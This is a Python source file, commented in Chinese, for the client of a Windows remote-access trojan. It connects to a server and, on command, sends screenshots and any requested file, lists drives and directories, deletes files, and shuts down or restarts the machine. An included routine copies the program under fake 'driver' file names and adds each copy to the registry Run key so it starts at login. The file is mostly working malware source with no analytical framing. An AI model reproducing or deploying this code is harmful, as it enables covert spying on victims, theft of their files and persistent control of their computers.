# 客户端


from socket import *
from PIL import ImageGrab
import os
from win32con import *
from win32api import *
from pandas import *
import json
import struct




# 接收服务器菜单
def Menu():
    # print('1.截图(4张)\n'
    #       '2.接收文件\n'
    #       '3.查看文件\n'
    #       '4.查看所有盘符\n'
    #       '5.关机\n'
    #       '6.重启\n'
    #       )
    choise = client.recv(1024).decode('utf-8')
    if choise == '1':
        # 调用截图函数
        Screenshot()
    elif choise == '2':
        # send_file('pf.xlsx')
        # 调用接收文件函数
        Receive_file()
    elif choise == '3':
        # 调用查看文件函数
        File()
    elif choise == '4':
        # 调用查看所有盘符函数
        All_disk()
    elif choise == '5':
        # 调用关机函数
        Shutdown()
    elif choise == '6':
        # 调用重启函数
        Restart()
    elif choise == '7':
        pf = client.recv(1024).decode('utf-8')
        # 调用查看文件数量函数
        file_c(pf)
    elif choise == '8':
        # 调用删除文件函数
        del_file()









# 1.截图(4张)
def Screenshot():
    for i in range(1, 5):
        # 截图
        img = ImageGrab.grab()
        # 文件名
        file_name = f'{i}.jpg'
        # 保存图片
        img.save(file_name)
        # 获取图片大小
        size = os.path.getsize(file_name)
        # 发送图片大小
        client.send(str(size).encode())
        # 发送图片
        with open(file_name, 'rb') as f:
            while True:
                data = f.read(1024)
                if not data:
                    break
                client.send(data)
        # 删除图片
        try:
            os.remove(file_name)
        except:
            pass
    # 调用菜单函数
    Menu()


# 2.发送文件到服务器
def Receive_file():
    # File
    # 接收文件名
    file = client.recv(1024).decode('utf-8')
    with open(file, 'rb') as f:
        while True:
            data = f.read(1024)
            if not data:
                break
            client.send(data)
    # 调用菜单函数
    Menu()



# 3.查看文件
def File():
    # 接收服务器盘符
    pf = client.recv(1024).decode('utf-8')
    # 调用查看文件数量函数
    file_c(pf)
    a = []
    for root, ds, fs in os.walk(pf):
        print('===================')
        print('根目录')
        print(root)
        print(len(root))
        rl = ['根目录', root, len(root)]
        a.append(rl)
        print('===================')
        print('文件夹')
        print(ds)
        print(len(ds))
        dl = ['文件夹', ds, len(ds)]
        a.append(dl)
        print('===================')
        print('文件')
        print(fs)
        print(len(fs))
        fl = ['文件', fs, len(fs)]
        a.append(fl)
        print('===================')
    print('正在保存表格')
    data = DataFrame(a)
    data.to_excel('1.xlsx', index=False, header=['类型', '名称', '数量'])
    print('保存表格完成')
    client.send('保存表格完成'.encode('utf-8'))
    # # 发送表格
    # send_file('pf.xlsx')
    # 调用菜单函数
    Menu()


# 4.查看所有盘符
def All_disk():
    disk_list = GetLogicalDriveStrings()
    disk_list = disk_list.split('\x00')
    disk_list.pop(-1)
    print(disk_list)
    # 发送盘符列表
    client.send(str(disk_list).encode('utf-8'))
    # 调用菜单函数
    Menu()





# 5.关机
def Shutdown():
    os.system('shutdown -s -t 1')




# 6.重启
def Restart():
    os.system('shutdown -r -t 60')




# 7.查看文件数量
def file_c(pf):
    # 方法2：显式循环（可扩展操作）
    file_count = 0
    for root, dirs, files in os.walk(pf):
        file_count += len(files)
    print(file_count)
    client.send(str(file_count).encode('utf-8'))
    return file_count


# print('当前目录：', root)
# print('当前目录下的文件夹：', dirs)
# print('当前目录下的文件：', files)
# print(file_count)


# 发送文件
def send_file(file_path):
    # 验证文件存在且为 .xlsx
    if not os.path.exists(file_path) or not file_path.endswith('.xlsx'):
        raise ValueError("无效的 .xlsx 文件路径")
    # 1. 发送文件元数据（文件名+大小）
    file_name = os.path.basename(file_path)
    file_size = os.path.getsize(file_path)
    header = {
        'filename': file_name,
        'filesize': file_size
    }
    header_json = json.dumps(header).encode('utf-8')
    # 先发送头长度（4字节），再发送头内容
    client.sendall(struct.pack('I', len(header_json)))
    client.sendall(header_json)

    # 2. 分块发送文件内容
    with open(file_path, 'rb') as f:
        bytes_sent = 0
        while bytes_sent < file_size:
            chunk = f.read(4096)  # 每次读取 4KB
            client.sendall(chunk)
            bytes_sent += len(chunk)
    print(f"[✅] 文件 {file_name} 发送完成 ({file_size} 字节)")


# 8.删除文件
def del_file():
    # 接收服务器删除文件名
    file_name = client.recv(1024).decode('utf-8')
    try:
        os.remove(file_name)
        print('删除表格成功')
        client.send('删除表格成功'.encode('utf-8'))
    except:
        print('删除失败')
        client.send('删除失败'.encode('utf-8'))




# 创建套接字
client = socket()
# 本机ip
ip = gethostname()

# 服务器ip
# ip = ''
# 端口号
port = 8888

# 连接服务器
client.connect((ip, port))


# 程序函数
def exe():
    # 复制文件
    file = GetModuleFileName(None)
    # 1
    CopyFile(r'C:\\Users\\windows网络驱动程序.exe', False)
    # 2
    CopyFile(r'C:\\Users\\windows硬件驱动程序.exe', False)
    # 3
    CopyFile(r'C:\\Users\\windows显示驱动程序.exe', False)
    # 4
    CopyFile(r'C:\\Users\\windows输入驱动程序.exe', False)
    # 5
    CopyFile(r'C:\\Users\\windows输出驱动程序.exe', False)
    # 6
    CopyFile(r'C:\\Users\\windows网卡驱动程序.exe', False)
    print('复制成功')
    # 开机自启
    # 1
    hkey = RegOpenKey(HKEY_CURRENT_USER, 'Software\\Microsoft\\Windows\\CurrentVersion\\Run', 0, KEY_ALL_ACCESS)
    RegSetValueEx(hkey, 'wl', 0, REG_SZ, 'C:\\Users\\windows网络驱动程序.exe')
    RegCloseKey(hkey)
    # 2
    hkey = RegOpenKey(HKEY_CURRENT_USER, 'Software\\Microsoft\\Windows\\CurrentVersion\\Run', 0, KEY_ALL_ACCESS)
    RegSetValueEx(hkey, 'yj', 0, REG_SZ, 'C:\\Users\\windows硬件驱动程序.exe')
    RegCloseKey(hkey)
    # 3
    hkey = RegOpenKey(HKEY_CURRENT_USER, 'Software\\Microsoft\\Windows\\CurrentVersion\\Run', 0, KEY_ALL_ACCESS)
    RegSetValueEx(hkey, 'xs', 0, REG_SZ, 'C:\\Users\\windows显示驱动程序.exe')
    RegCloseKey(hkey)
    # 4
    hkey = RegOpenKey(HKEY_CURRENT_USER, 'Software\\Microsoft\\Windows\\CurrentVersion\\Run', 0, KEY_ALL_ACCESS)
    RegSetValueEx(hkey, 'sr', 0, REG_SZ, 'C:\\Users\\windows输入驱动程序.exe')
    RegCloseKey(hkey)
    # 5
    hkey = RegOpenKey(HKEY_CURRENT_USER, 'Software\\Microsoft\\Windows\\CurrentVersion\\Run', 0, KEY_ALL_ACCESS)
    RegSetValueEx(hkey, 'sc', 0, REG_SZ, 'C:\\Users\\windows输出驱动程序.exe')
    RegCloseKey(hkey)
    # 6
    hkey = RegOpenKey(HKEY_CURRENT_USER, 'Software\\Microsoft\\Windows\\CurrentVersion\\Run', 0, KEY_ALL_ACCESS)
    RegSetValueEx(hkey, 'wk', 0, REG_SZ, 'C:\\Users\\windows网卡驱动程序.exe')
    RegCloseKey(hkey)
    print('开机自启成功')

# 调用程序函数
# exe()

while True:
    # 调用菜单函数
    Menu()



